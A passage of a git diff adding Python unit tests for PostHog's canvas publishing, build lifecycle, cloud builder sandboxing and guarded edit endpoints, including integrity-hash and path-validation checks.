;\n' + + +class FakeObjectStorage: + def __init__(self) -> None: + self.objects: dict[str, bytes] = {} + self.deleted: list[str] = [] + + def write(self, key: str, content: bytes | str, extras: dict | None = None, bucket: str | None = None) -> None: + self.objects[key] = content if isinstance(content, bytes) else content.encode("utf-8") + + def read_bytes(self, key: str, bucket: str | None = None, **kwargs: Any) -> bytes | None: + return self.objects.get(key) + + def delete_objects(self, keys: list[str], bucket: str | None = None) -> list[str]: + self.deleted.extend(keys) + for key in keys: + self.objects.pop(key, None) + return keys + + +class TestCanvasBuildLifecycle(APIBaseTest): + def setUp(self): + super().setUp() + self.user.is_staff = True + self.user.save() + self.storage = FakeObjectStorage() + for attribute in ("write", "read_bytes", "delete_objects"): + patcher = patch.object(canvas_build_service.object_storage, attribute, getattr(self.storage, attribute)) + patcher.start() + self.addCleanup(patcher.stop) + + def _base_url(self) -> str: + return f"/api/projects/{self.team.id}/desktop_file_system/" + + def _create_canvas(self) -> UUID: + channel = self.client.post(self._base_url(), {"path": "MyChannel", "type": "folder"}).json() + response = self.client.post(f"{self._base_url()}canvases/", {"name": "MyCanvas", "channel_id": channel["id"]}) + self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) + return UUID(response.json()["id"]) + + def _project(self, code: str) -> dict[str, Any]: + return { + "schemaVersion": 1, + "files": {CANVAS_COMPONENT_PATH: code}, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": {"react": "19.0.0"}, + "canvasSdkVersion": "0.1.0", + } + + def _publish(self, canvas_id: UUID, code: str, expected: str | None = "omit") -> Any: + body: dict[str, Any] = {"project": self._project(code)} + if expected != "omit": + body["expected_current_version_id"] = expected + return self.client.post(f"{self._base_url()}{canvas_id}/canvas/publish/", body, format="json") + + def test_publish_records_source_version_and_queued_build_atomically(self): + canvas_id = self._create_canvas() + + with patch("posthog.tasks.canvas_build.process_canvas_build.delay") as enqueue: + with self.captureOnCommitCallbacks(execute=True): + response = self._publish(canvas_id, CODE_V1) + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + + version = CanvasSourceVersion.objects.for_team(self.team.id).get(canvas_id=canvas_id) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + self.assertEqual(build.status, CanvasBuild.STATUS_QUEUED) + self.assertEqual(build.source_version_id, version.id) + self.assertIsNone(version.parent_version_id) + # The source object was uploaded under a content-addressed key before commit. + self.assertIn(version.source_object_key, self.storage.objects) + self.assertIn(version.source_hash, version.source_object_key) + # The canvas head points at the new source version; the build worker + # was queued on commit; no build is published yet. + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["currentSourceVersionId"], str(version.id)) + self.assertNotIn("publishedBuildId", meta) + enqueue.assert_called_once_with(self.team.id, str(build.id)) + # The legacy history entry and the normalized row stay correlatable. + self.assertEqual(version.legacy_version_id, meta["currentVersionId"]) + + def test_ready_build_advances_published_pointer(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + + run_canvas_build(self.team.id, str(build.id)) + + build.refresh_from_db() + self.assertEqual(build.status, CanvasBuild.STATUS_READY) + self.assertIsNotNone(build.integrity) + manifest = cast(dict, build.manifest) + self.assertEqual(manifest["legacyCode"], CODE_V1) + self.assertEqual(manifest["entryHtml"], CANVAS_ENTRY_HTML) + asset_paths = {asset["path"] for asset in manifest["assets"]} + self.assertIn(CANVAS_ENTRY_HTML, asset_paths) + self.assertTrue(any(path.endswith(".js") for path in asset_paths), asset_paths) + # Artifact files are immutable objects under the build's prefix. + for asset in manifest["assets"]: + self.assertIn(f"{build.artifact_object_prefix}/{asset['path']}", self.storage.objects) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["publishedBuildId"], str(build.id)) + + def test_new_publish_supersedes_an_older_queued_build(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + first_build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + self._publish(canvas_id, CODE_V2) + second_build = CanvasBuild.objects.for_team(self.team.id).exclude(id=first_build.id).get(canvas_id=canvas_id) + first_build.refresh_from_db() + self.assertEqual(first_build.status, CanvasBuild.STATUS_FAILED) + self.assertEqual(first_build.diagnostics[0]["code"], "superseded") + + run_canvas_build(self.team.id, str(second_build.id)) + run_canvas_build(self.team.id, str(first_build.id)) + + first_build.refresh_from_db() + self.assertEqual(first_build.status, CanvasBuild.STATUS_FAILED) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["publishedBuildId"], str(second_build.id)) + + def test_publish_rejects_when_team_build_capacity_is_exhausted(self): + canvas_id = self._create_canvas() + with patch("posthog.api.file_system.file_system.MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM", 0): + response = self._publish(canvas_id, CODE_V1) + + self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) + self.assertFalse(CanvasBuild.objects.for_team(self.team.id).filter(canvas_id=canvas_id).exists()) + + def test_failed_build_keeps_last_known_good_published(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + good_build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + run_canvas_build(self.team.id, str(good_build.id)) + + self._publish(canvas_id, CODE_V2) + bad_build = CanvasBuild.objects.for_team(self.team.id).exclude(id=good_build.id).get(canvas_id=canvas_id) + # The recorded source object goes missing before the worker runs. + self.storage.objects.pop(bad_build.source_version.source_object_key) + + run_canvas_build(self.team.id, str(bad_build.id)) + + bad_build.refresh_from_db() + self.assertEqual(bad_build.status, CanvasBuild.STATUS_FAILED) + self.assertEqual(bad_build.diagnostics[0]["code"], "source_unreadable") + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["publishedBuildId"], str(good_build.id)) + + def test_active_build_lease_prevents_duplicate_execution(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + build.status = CanvasBuild.STATUS_BUILDING + build.lease_expires_at = timezone.now() + timedelta(minutes=1) + build.save(update_fields=["status", "lease_expires_at"]) + + with patch.object(canvas_build_service, "run_cloud_builder") as runner: + run_canvas_build(self.team.id, str(build.id)) + + runner.assert_not_called() + + def test_expired_build_lease_is_reclaimed(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + build.status = CanvasBuild.STATUS_BUILDING + build.attempt_count = 1 + build.lease_expires_at = timezone.now() - timedelta(seconds=1) + build.save(update_fields=["status", "attempt_count", "lease_expires_at"]) + + run_canvas_build(self.team.id, str(build.id)) + + build.refresh_from_db() + self.assertEqual(build.status, CanvasBuild.STATUS_READY) + self.assertEqual(build.attempt_count, 2) + self.assertIsNone(build.lease_expires_at) + + def test_conflicting_publish_creates_no_lifecycle_rows(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + + response = self._publish(canvas_id, CODE_V2, expected="not-the-head") + + self.assertEqual(response.status_code, status.HTTP_409_CONFLICT) + self.assertEqual(CanvasSourceVersion.objects.for_team(self.team.id).filter(canvas_id=canvas_id).count(), 1) + self.assertEqual(CanvasBuild.objects.for_team(self.team.id).filter(canvas_id=canvas_id).count(), 1) + + def test_second_publish_links_parent_version(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + first = CanvasSourceVersion.objects.for_team(self.team.id).get(canvas_id=canvas_id) + + self._publish(canvas_id, CODE_V2) + + second = CanvasSourceVersion.objects.for_team(self.team.id).exclude(id=first.id).get(canvas_id=canvas_id) + self.assertEqual(second.parent_version_id, first.id) + + def test_storage_outage_degrades_to_legacy_only_publish(self): + canvas_id = self._create_canvas() + + with patch.object(canvas_build_service.object_storage, "write", side_effect=ObjectStorageError("down")): + response = self._publish(canvas_id, CODE_V1) + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V1) + self.assertFalse(CanvasSourceVersion.objects.for_team(self.team.id).filter(canvas_id=canvas_id).exists()) + + def test_builds_endpoint_reports_lifecycle(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + run_canvas_build(self.team.id, str(build.id)) + + response = self.client.get(f"{self._base_url()}{canvas_id}/canvas/builds/") + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + body = response.json() + self.assertEqual(body["published_build_id"], str(build.id)) + self.assertEqual(body["builds"][0]["build_status"], "ready") + self.assertEqual(body["builds"][0]["manifest"]["legacyCode"], CODE_V1) + + def test_failed_build_can_be_retried_and_ready_build_can_be_pinned(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + build.status = CanvasBuild.STATUS_FAILED + build.finished_at = timezone.now() + build.save(update_fields=["status", "finished_at"]) + + with patch("posthog.tasks.canvas_build.process_canvas_build.delay") as enqueue: + with self.captureOnCommitCallbacks(execute=True): + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/builds/action/", + {"action": "retry", "build_id": str(build.id)}, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + retried = CanvasBuild.objects.for_team(self.team.id).get(id=response.json()["id"]) + enqueue.assert_called_once_with(self.team.id, str(retried.id)) + run_canvas_build(self.team.id, str(retried.id)) + pin = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/builds/action/", + {"action": "pin", "build_id": str(retried.id)}, + format="json", + ) + self.assertEqual(pin.status_code, status.HTTP_200_OK, pin.json()) + retried.refresh_from_db() + self.assertTrue(retried.pinned) + + def test_queued_build_can_be_cancelled(self): + canvas_id = self._create_canvas() + self._publish(canvas_id, CODE_V1) + build = CanvasBuild.objects.for_team(self.team.id).get(canvas_id=canvas_id) + + response = self.client.post( + f"{self._base_url()}{canvas_id}/canvas/builds/action/", + {"action": "cancel", "build_id": str(build.id)}, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + build.refresh_from_db() + self.assertEqual(build.status, CanvasBuild.STATUS_FAILED) + self.assertEqual(build.diagnostics[0]["code"], "cancelled") + + def test_retention_prunes_stale_artifacts_but_keeps_active_rollback_and_pinned(self): + canvas_id = self._create_canvas() + build_ids = [] + for code in ("v1", "v2", "v3", "v4"): + self._publish(canvas_id, code) + build = ( + CanvasBuild.objects.for_team(self.team.id) + .filter(canvas_id=canvas_id, status=CanvasBuild.STATUS_QUEUED) + .get() + ) + run_canvas_build(self.team.id, str(build.id)) + build_ids.append(str(build.id)) + # Age every build past the successful-build retention window; pin v1. + CanvasBuild.objects.for_team(self.team.id).update(finished_at=timezone.now() - timedelta(days=45)) + CanvasBuild.objects.for_team(self.team.id).filter(id=build_ids[0]).update(pinned=True) + + pruned = cleanup_canvas_builds() + + # v4 is active, v3 is the rollback, v1 is pinned — only v2 loses artifacts. + self.assertEqual(pruned, 1) + remaining = { + str(build.id): build.artifact_object_prefix + for build in CanvasBuild.objects.for_team(self.team.id).filter(canvas_id=canvas_id) + } + self.assertIsNone(remaining[build_ids[1]]) + self.assertIsNotNone(remaining[build_ids[0]]) + self.assertIsNotNone(remaining[build_ids[2]]) + self.assertIsNotNone(remaining[build_ids[3]]) + self.assertTrue(any("canvas_artifact/" in key for key in self.storage.deleted)) diff --git a/posthog/api/file_system/test/test_canvas_cloud_builder.py b/posthog/api/file_system/test/test_canvas_cloud_builder.py new file mode 100644 index 000000000000..5a7877b71d38 --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_cloud_builder.py @@ -0,0 +1,221 @@ +import os +import hashlib +import tempfile +from pathlib import Path +from typing import Any + +from unittest.mock import patch + +from django.test import SimpleTestCase + +from posthog.api.file_system.canvas_build_service import run_cloud_builder, validate_builder_output +from posthog.api.file_system.canvas_source import synthetic_source_project, validate_source_project +from posthog.api.file_system.file_system import CanvasSourceProjectSerializer + + +class TestCanvasCloudBuilder(SimpleTestCase): + def test_legacy_canvas_build_mounts_react_and_injects_the_runtime_bridge(self) -> None: + payload = synthetic_source_project( + {"code": 'import React from "react"; export default function Canvas() { return
Hello
}'} + ) + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + validate_builder_output(result) + javascript = "\n".join(file["content"] for file in result["files"] if file["path"].endswith(".js")) + html = next(file["content"] for file in result["files"] if file["path"] == "index.html") + self.assertIn("createRoot", javascript) + self.assertIn("canvas-runtime", html) + + def test_publication_validation_allows_relative_worker_and_asset_imports(self) -> None: + payload = synthetic_source_project( + { + "code": 'import workerUrl from "./sum.worker.ts?worker"; import image from "../assets/pixel.png"; void workerUrl; void image', + } + ) + payload["files"]["src/sum.worker.ts"] = 'self.postMessage("ready")' + payload["assets"] = { + "assets/pixel.png": {"encoding": "base64", "contentType": "image/png", "content": "iVBORw0KGgo="} + } + + diagnostics = validate_source_project(payload) + + self.assertNotIn("import_not_allowed", [item["code"] for item in diagnostics]) + + def _project(self, source: str) -> dict[str, Any]: + return { + "schemaVersion": 1, + "files": { + "index.html": '
', + "src/main.ts": source, + }, + "entryHtml": "index.html", + "dependencies": {}, + "canvasSdkVersion": "0.1.0", + } + + def test_builds_vanilla_typescript_with_the_shared_contract(self) -> None: + result = run_cloud_builder(self._project('document.querySelector("#root")!.textContent = "Hello"')) + + files, manifest, diagnostics = validate_builder_output(result) + self.assertEqual(diagnostics, []) + self.assertEqual(manifest["entryHtml"], "index.html") + self.assertFalse(manifest["capabilities"]["posthog"]["inlineQueries"]) + self.assertTrue(any(file["path"].endswith(".js") for file in files)) + + def test_freezes_declared_capabilities_into_manifest(self) -> None: + project = self._project('document.body.textContent = "Hello"') + project["capabilities"] = { + "posthog": {"insights": ["abc"], "inlineQueries": False, "captureEvents": ["canvas viewed"]}, + "network": {"origins": []}, + } + + _, manifest, _ = validate_builder_output(run_cloud_builder(project)) + + self.assertEqual(manifest["capabilities"], project["capabilities"]) + + def test_rejects_unbounded_capabilities(self) -> None: + project = self._project("") + project["capabilities"] = { + "posthog": {"insights": ["x"] * 101, "inlineQueries": False, "captureEvents": []}, + "network": {"origins": []}, + } + + serializer = CanvasSourceProjectSerializer(data=project) + + self.assertFalse(serializer.is_valid()) + self.assertIn("capabilities", serializer.errors) + + def test_rejects_undeclared_package_imports(self) -> None: + result = run_cloud_builder(self._project('import React from "react"; void React')) + + self.assertEqual(result["status"], "failed") + self.assertEqual(result["diagnostics"][0]["code"], "import_not_declared") + + def test_builds_binary_assets_and_module_workers(self) -> None: + payload = self._project( + 'import image from "../assets/pixel.png"; import workerUrl from "./worker.ts?worker"; ' + 'document.body.dataset.image = image; new Worker(workerUrl, { type: "module" })' + ) + payload["files"]["src/worker.ts"] = 'self.postMessage("ready")' + payload["assets"] = { + "assets/pixel.png": { + "encoding": "base64", + "contentType": "image/png", + "content": "iVBORw0KGgo=", + }, + "assets/module.wasm": { + "encoding": "base64", + "contentType": "application/wasm", + "content": "AGFzbQEAAAA=", + }, + } + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + javascript = next(file["content"] for file in result["files"] if file["path"].endswith(".js")) + self.assertIn("new Blob", javascript) + self.assertIn("data:image/png;base64", javascript) + + def test_bundles_worker_imports_into_the_blob(self) -> None: + payload = self._project('import workerUrl from "./worker.ts?worker"; new Worker(workerUrl, { type: "module" })') + payload["files"]["src/worker.ts"] = 'import { answer } from "./worker-lib"; self.postMessage(answer)' + payload["files"]["src/worker-lib.ts"] = "export const answer = 42" + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + javascript = next(file["content"] for file in result["files"] if file["path"].endswith(".js")) + self.assertNotIn("worker-lib", javascript) + self.assertIn("42", javascript) + + def test_runtime_bundles_pinned_dependencies_without_network_access(self) -> None: + payload = {**self._project('import dayjs from "dayjs"; void dayjs'), "dependencies": {"dayjs": "1.11.13"}} + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + html = next(file["content"] for file in result["files"] if file["path"] == "index.html") + self.assertIn("script-src 'self'", html) + self.assertNotIn("esm.sh", html) + javascript = next(file["content"] for file in result["files"] if file["path"].endswith(".js")) + self.assertNotIn('from"dayjs"', javascript) + + def test_source_contract_rejects_active_or_malformed_assets(self) -> None: + for content, content_type in (("%%%", "image/png"), ("PGgxLz4=", "text/html")): + payload = self._project("") + payload["assets"] = { + "assets/file.bin": { + "encoding": "base64", + "contentType": content_type, + "content": content, + } + } + + serializer = CanvasSourceProjectSerializer(data=payload) + + self.assertFalse(serializer.is_valid()) + self.assertIn("assets", serializer.errors) + + def test_rejects_artifact_content_that_does_not_match_manifest(self) -> None: + result = { + "contractVersion": 1, + "status": "ready", + "diagnostics": [], + "files": [ + { + "path": "index.html", + "content": "tampered", + "contentHash": hashlib.sha256(b"safe").hexdigest(), + "sizeBytes": 4, + } + ], + "manifest": {"entryHtml": "index.html", "assets": []}, + } + + with self.assertRaisesMessage(ValueError, "integrity"): + validate_builder_output(result) + + def test_rejects_manifest_hash_that_does_not_match_emitted_file(self) -> None: + content = "safe" + digest = hashlib.sha256(content.encode()).hexdigest() + result = { + "contractVersion": 1, + "status": "ready", + "diagnostics": [], + "files": [{"path": "index.html", "content": content, "contentHash": digest, "sizeBytes": 4}], + "manifest": { + "entryHtml": "index.html", + "assets": [{"path": "index.html", "contentHash": "0" * 64, "sizeBytes": 4}], + }, + } + + with self.assertRaisesMessage(ValueError, "manifest metadata"): + validate_builder_output(result) + + @patch("posthog.api.file_system.canvas_build_service.subprocess.run") + def test_builder_has_bounded_process_resources(self, run: Any) -> None: + run.return_value.returncode = 0 + run.return_value.stdout = '{"contractVersion":1,"status":"failed","diagnostics":[]}' + + run_cloud_builder({"files": {}}) + + args, kwargs = run.call_args + self.assertEqual(args[0][1], "--max-old-space-size=256") + self.assertEqual(kwargs["timeout"], 45) + self.assertEqual(kwargs["env"], {"PATH": "/usr/local/bin:/usr/bin:/bin", "NODE_ENV": "production"}) + + def test_runs_the_node_binary_resolved_from_the_worker_path(self) -> None: + with tempfile.TemporaryDirectory() as directory: + stub = Path(directory) / "node" + stub.write_text( + '#!/bin/sh\ncat > /dev/null\nprintf \'{"contractVersion":1,"status":"failed","diagnostics":[{"code":"stub_builder"}]}\'\n' + ) + stub.chmod(0o755) + + with patch.dict(os.environ, {"PATH": directory}): + result = run_cloud_builder({"files": {}}) + + self.assertEqual(result["diagnostics"][0]["code"], "stub_builder") diff --git a/posthog/api/file_system/test/test_canvas_edit.py b/posthog/api/file_system/test/test_canvas_edit.py new file mode 100644 index 000000000000..ba926ebf0202 --- /dev/null +++ b/posthog/api/file_system/test/test_canvas_edit.py @@ -0,0 +1,121 @@ +from typing import Any, cast + +from posthog.test.base import APIBaseTest + +from rest_framework import status + +from posthog.api.file_system.canvas_source import CANVAS_COMPONENT_PATH, synthetic_source_project +from posthog.models.file_system.file_system import FileSystem + +CODE_V1 = 'import React from "react";\nexport default () =>
v1
;\n' +CODE_V2 = 'import React from "react";\nexport default () =>
v2
;\n' + + +class TestDesktopCanvasEditAPI(APIBaseTest): + def setUp(self): + super().setUp() + self.user.is_staff = True + self.user.save() + + def _base_url(self) -> str: + return f"/api/projects/{self.team.id}/desktop_file_system/" + + def _create_published_canvas(self) -> tuple[str, str]: + channel = self.client.post(self._base_url(), {"path": "MyChannel", "type": "folder"}).json() + canvas = self.client.post( + f"{self._base_url()}canvases/", {"name": "MyCanvas", "channel_id": channel["id"]} + ).json() + self.client.post( + f"{self._base_url()}{canvas['id']}/canvas/publish/", + {"project": synthetic_source_project({"code": CODE_V1}), "expected_current_version_id": None}, + format="json", + ) + head = cast(dict, FileSystem.objects.get(id=canvas["id"]).meta)["currentVersionId"] + return canvas["id"], head + + def _edit(self, canvas_id: str, body: dict[str, Any]) -> Any: + return self.client.post(f"{self._base_url()}{canvas_id}/canvas/edit/", body, format="json") + + def test_edit_publishes_a_new_guarded_version_without_resending_the_project(self): + canvas_id, head = self._create_published_canvas() + + response = self._edit( + canvas_id, + { + "operations": [{"path": CANVAS_COMPONENT_PATH, "content": CODE_V2}], + "prompt": "swap v1 for v2", + "expected_current_version_id": head, + }, + ) + + self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V2) + self.assertEqual([v["code"] for v in meta["versions"]], [CODE_V1, CODE_V2]) + self.assertEqual(response.json()["current_version_id"], meta["currentVersionId"]) + + def test_edit_refuses_to_run_unguarded(self): + # A diff edit's meaning depends on its base; without the guard it could + # silently merge into someone else's newer head. The serializer must + # reject the request outright. + canvas_id, _head = self._create_published_canvas() + + response = self._edit( + canvas_id, + {"operations": [{"path": CANVAS_COMPONENT_PATH, "content": CODE_V2}]}, + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + self.assertEqual(response.json()["attr"], "expected_current_version_id") + self.assertEqual(cast(dict, FileSystem.objects.get(id=canvas_id).meta)["code"], CODE_V1) + + def test_stale_edit_conflicts_and_leaves_the_canvas_untouched(self): + canvas_id, _head = self._create_published_canvas() + + response = self._edit( + canvas_id, + { + "operations": [{"path": CANVAS_COMPONENT_PATH, "content": CODE_V2}], + "expected_current_version_id": "not-the-head", + }, + ) + + self.assertEqual(response.status_code, status.HTTP_409_CONFLICT, response.json()) + self.assertEqual(response.json()["code"], "version_conflict") + meta = cast(dict, FileSystem.objects.get(id=canvas_id).meta) + self.assertEqual(meta["code"], CODE_V1) + self.assertEqual(len(meta["versions"]), 1) + + def test_deleting_a_missing_file_rejects_the_whole_edit(self): + canvas_id, head = self._create_published_canvas() + + response = self._edit( + canvas_id, + { + "operations": [ + {"path": CANVAS_COMPONENT_PATH, "content": CODE_V2}, + {"path": "src/nonexistent.ts", "content": None}, + ], + "expected_current_version_id": head, + }, + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + self.assertEqual(response.json()["diagnostics"][0]["code"], "edit_target_missing") + # Atomic: the valid operation in the same request published nothing. + self.assertEqual(cast(dict, FileSystem.objects.get(id=canvas_id).meta)["code"], CODE_V1) + + def test_edit_producing_an_invalid_project_is_rejected_with_diagnostics(self): + canvas_id, head = self._create_published_canvas() + + response = self._edit( + canvas_id, + { + "operations": [{"path": "../escape.tsx", "content": "x"}], + "expected_current_version_id": head, + }, + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST, response.json()) + self.assertIn("invalid_path", [d["code"] for d in response.json()["diagnostics"]]) + self.assertEqual(cast(dict, FileSystem.objects.get(id=canvas_id).meta)["code"], CODE_V1) diff --git a/posthog/api/file_system/test/test_canvas_publish.py b/posthog/api/file_system/test/test_canvas_publish.py index 678e1225c3f6..e65bc048280d 100644 --- a/posthog/api/file_system/test/test_canvas_publish.py +++ b/posthog/api/file_system/test/test_canvas_publish.py @@ -9,6 +9,7 @@ from parameterized import parameterized from rest_framework import status +from posthog.api.file_system.canvas_source import synthetic_source_project from posthog.models.file_system.file_system import FileSystem from posthog.models.oauth import OAuthApplication from posthog.models.user import User @@ -38,14 +39,21 @@ def _create_dashboard(self, path: str = "MyChannel/MyCanvas", meta: dict | None self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) return cast(str, response.json()["id"]) - def _canvas_url(self, item_id: str) -> str: - return f"/api/projects/{self.team.id}/desktop_file_system/{item_id}/canvas/" + def _publish(self, item_id: str, body: dict, **kwargs): + payload = dict(body) + code = payload.pop("code") + return self.client.post( + f"/api/projects/{self.team.id}/desktop_file_system/{item_id}/canvas/publish/", + {"project": synthetic_source_project({"code": code}), **payload}, + format="json", + **kwargs, + ) def test_publish_canvas_sets_code_and_appends_version(self): item_id = self._create_dashboard(meta={"channelId": "chan-1", "kind": "freeform"}) - response = self.client.patch( - self._canvas_url(item_id), + response = self._publish( + item_id, {"code": "export default () =>
hi
", "prompt": "build a hello canvas"}, ) self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) @@ -65,8 +73,8 @@ def test_publish_canvas_sets_code_and_appends_version(self): def test_publish_canvas_appends_to_existing_history(self): item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - self.client.patch(self._canvas_url(item_id), {"code": "v2"}) + self._publish(item_id, {"code": "v1"}) + self._publish(item_id, {"code": "v2"}) meta = cast(dict, FileSystem.objects.get(id=item_id).meta) self.assertEqual(meta["code"], "v2") @@ -78,11 +86,11 @@ def _current_version_id(self, item_id: str) -> str: def test_guarded_publish_with_matching_version_appends(self): item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) + self._publish(item_id, {"code": "v1"}) base = self._current_version_id(item_id) - response = self.client.patch( - self._canvas_url(item_id), + response = self._publish( + item_id, {"code": "v2", "expected_current_version_id": base}, ) self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) @@ -92,8 +100,8 @@ def test_guarded_publish_with_matching_version_appends(self): def test_guarded_first_publish_with_null_expected_version(self): item_id = self._create_dashboard() - response = self.client.patch( - self._canvas_url(item_id), + response = self._publish( + item_id, {"code": "v1", "expected_current_version_id": None}, ) self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) @@ -108,11 +116,11 @@ def test_guarded_first_publish_with_null_expected_version(self): ) def test_guarded_publish_conflicts_when_canvas_moved(self, _name: str, expected_version: str | None): item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) + self._publish(item_id, {"code": "v1"}) head = self._current_version_id(item_id) - response = self.client.patch( - self._canvas_url(item_id), + response = self._publish( + item_id, {"code": "clobber", "expected_current_version_id": expected_version}, ) self.assertEqual(response.status_code, status.HTTP_409_CONFLICT, response.json()) @@ -127,9 +135,9 @@ def test_guarded_publish_conflicts_when_canvas_moved(self, _name: str, expected_ def test_publish_after_undo_truncates_redo_tail(self): item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) + self._publish(item_id, {"code": "v1"}) v1 = self._current_version_id(item_id) - self.client.patch(self._canvas_url(item_id), {"code": "v2"}) + self._publish(item_id, {"code": "v2"}) # The client's undo moves the pointer back without rewriting history. row = FileSystem.objects.get(id=item_id) @@ -139,8 +147,8 @@ def test_publish_after_undo_truncates_redo_tail(self): row.meta = meta row.save(update_fields=["meta"]) - response = self.client.patch( - self._canvas_url(item_id), + response = self._publish( + item_id, {"code": "v3", "expected_current_version_id": v1}, ) self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) @@ -152,8 +160,8 @@ def test_publish_after_undo_truncates_redo_tail(self): def test_publish_canvas_renames_via_name(self): item_id = self._create_dashboard(path="MyChannel/Old name") - response = self.client.patch( - self._canvas_url(item_id), + response = self._publish( + item_id, {"code": "v1", "name": "New name"}, ) self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) @@ -166,7 +174,7 @@ def test_publish_canvas_renames_via_name(self): def test_publish_canvas_without_name_keeps_path(self): item_id = self._create_dashboard(path="MyChannel/Keep me") - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) + self._publish(item_id, {"code": "v1"}) self.assertEqual(FileSystem.objects.get(id=item_id).path, "MyChannel/Keep me") @@ -177,16 +185,19 @@ def test_publish_canvas_rejects_non_dashboard(self): ) folder_id = response.json()["id"] - bad = self.client.patch(self._canvas_url(folder_id), {"code": "x"}) + bad = self._publish(folder_id, {"code": "x"}) self.assertEqual(bad.status_code, status.HTTP_400_BAD_REQUEST, bad.json()) - def test_publish_canvas_requires_code(self): + def test_publish_canvas_requires_project(self): item_id = self._create_dashboard() - # `code` is required by the serializer; omitting it is a 400, not a silent no-op. - bad = self.client.patch(self._canvas_url(item_id), {"prompt": "only a prompt"}) + bad = self.client.post( + f"/api/projects/{self.team.id}/desktop_file_system/{item_id}/canvas/publish/", + {"prompt": "only a prompt"}, + format="json", + ) self.assertEqual(bad.status_code, status.HTTP_400_BAD_REQUEST, bad.json()) - self.assertIn("code", bad.json()) + self.assertEqual(bad.json()["attr"], "project") # Task models load via the app registry: this test lives outside the isolated # tasks product, so it can't import its internals (tach-enforced). @@ -230,7 +241,7 @@ def test_first_publish_from_task_announces_in_thread_once(self, _flag): item_id = self._create_dashboard(meta={"channelId": "chan-1"}) self._authenticate_as_sandbox() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) + self._publish(item_id, {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) messages = self._thread_messages(task) self.assertEqual(messages.count(), 1) @@ -242,7 +253,7 @@ def test_first_publish_from_task_announces_in_thread_once(self, _flag): ) # A second publish updates the canvas, it doesn't create it again. - self.client.patch(self._canvas_url(item_id), {"code": "v2"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) + self._publish(item_id, {"code": "v2"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) self.assertEqual(messages.count(), 1) @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) @@ -251,7 +262,7 @@ def test_announcement_links_via_parent_folder_when_meta_has_no_channel(self, _fl item_id = self._create_dashboard() # no channelId stamp — rows created before the app stamped it self._authenticate_as_sandbox() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) + self._publish(item_id, {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) folder = FileSystem.objects.get(team=self.team, path="MyChannel", type="folder") message = 